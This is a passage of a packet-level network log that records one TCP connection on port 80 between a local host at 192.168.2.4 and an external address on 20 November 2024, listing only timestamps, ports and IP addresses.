Nov 20, 2024 12:57:40.680479050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.680489063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.680500031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.680510998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.680510998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.680520058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.680531025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.680532932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.680541039 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.680548906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.680550098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.680562019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.680572033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.680582047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.680582047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.680593014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.680617094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.680633068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.681369066 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.681380033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.681390047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.681401014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.681411028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.681421995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.681423903 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.681432962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.681442976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.681443930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.681456089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.681466103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.681471109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.681477070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.681489944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.681505919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.681538105 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.682285070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.682296038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.682306051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.682316065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.682322979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.682327032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.682337046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.682342052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.682348013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.682358980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.682369947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.682377100 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.682382107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.682391882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.682394981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.682403088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.682415009 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.682440996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.683207035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.683218002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.683228016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.683238983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.683248997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.683254004 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.683259964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.683270931 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.683281898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.683281898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.683291912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.683303118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.683317900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.683320999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.683330059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.683332920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.683351994 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.683377981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.684118986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684129953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684142113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684151888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684159040 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.684161901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684173107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684175014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.684184074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684195042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684206009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684211969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.684216022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684227943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684237003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.684240103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684253931 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.684273958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.684940100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684950113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684959888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684966087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684971094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684977055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684982061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684988022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684998989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.684998989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.685005903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.685013056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.685018063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.685022116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.685034990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.685041904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.685046911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.685158968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.685681105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.685693979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.685704947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.685728073 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.685764074 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.725713015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.725727081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.725739956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.725769997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.725837946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.725873947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.725919962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.725956917 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.725964069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.725975037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.725985050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.726001978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.726027012 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.768969059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.768990040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769002914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769041061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769052982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769063950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769073009 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.769077063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769129992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.769398928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769411087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769422054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769433022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769443989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769449949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.769455910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769474983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.769490957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.769886971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769898891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769911051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769922018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769932985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.769933939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769944906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769958019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.769963026 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.769985914 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.769999981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.770255089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.770311117 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.770447016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.770458937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.770469904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.770482063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.770489931 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.770493031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.770505905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.770520926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.770538092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.770864964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.770875931 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.770895004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.770910978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.770937920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.771001101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.771013021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.771023035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.771034956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.771043062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.771044970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.771055937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.771058083 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.771066904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.771080971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.771086931 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.771109104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.771136999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.771147013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.771158934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.771183968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.771203041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.772238970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.772250891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.772260904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.772272110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.772281885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.772285938 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.772294044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.772300005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.772305965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.772315025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.772317886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.772326946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.772335052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.772337914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.772350073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.772356033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.772361040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.772372007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.772377014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.772382975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.772409916 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.772439003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.773231983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.773243904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.773255110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.773266077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.773277044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.773287058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.773298025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.773308039 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.773318052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.773329020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.773339033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.773350000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.773363113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.773367882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.773367882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.773367882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.773367882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.773367882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.773395061 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.773420095 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.774175882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.774188995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.774199963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.774210930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.774220943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.774224043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.774235964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.774254084 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.774275064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.807533979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.807569027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.807604074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.807617903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.807636023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.807691097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.807698011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.807709932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.807733059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.807756901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.807785034 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.807796955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.807818890 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.807843924 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.807941914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.807952881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.807965040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.807975054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.808000088 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.808146000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808156967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808175087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808183908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.808186054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808197975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808207989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808214903 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.808221102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808250904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.808269024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.808619022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808629990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808640957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808651924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808654070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.808677912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.808706045 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.808860064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808871031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808881998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808892965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808902025 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.808903933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808922052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808924913 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.808933973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808943987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808954954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808958054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.808965921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808975935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.808976889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808984995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.808995962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.809026957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.814366102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.814440966 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.817193031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.817204952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.817217112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.817228079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.817255974 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.817281961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.817327976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.817339897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.817351103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.817361116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.817403078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.857611895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.857671976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.857717991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.857728958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.857738972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.857750893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.857750893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.857770920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.857810020 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.857888937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.857902050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.857928038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.857943058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.858242035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.858253002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.858263016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.858274937 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.858298063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.858412027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.858422995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.858433008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.858444929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.858477116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.858592987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.858603001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.858613968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.858623981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.858629942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.858634949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.858644962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.858664036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.858694077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.859082937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.859092951 CET	80	49730	185.215.113.206	192.168.2.4
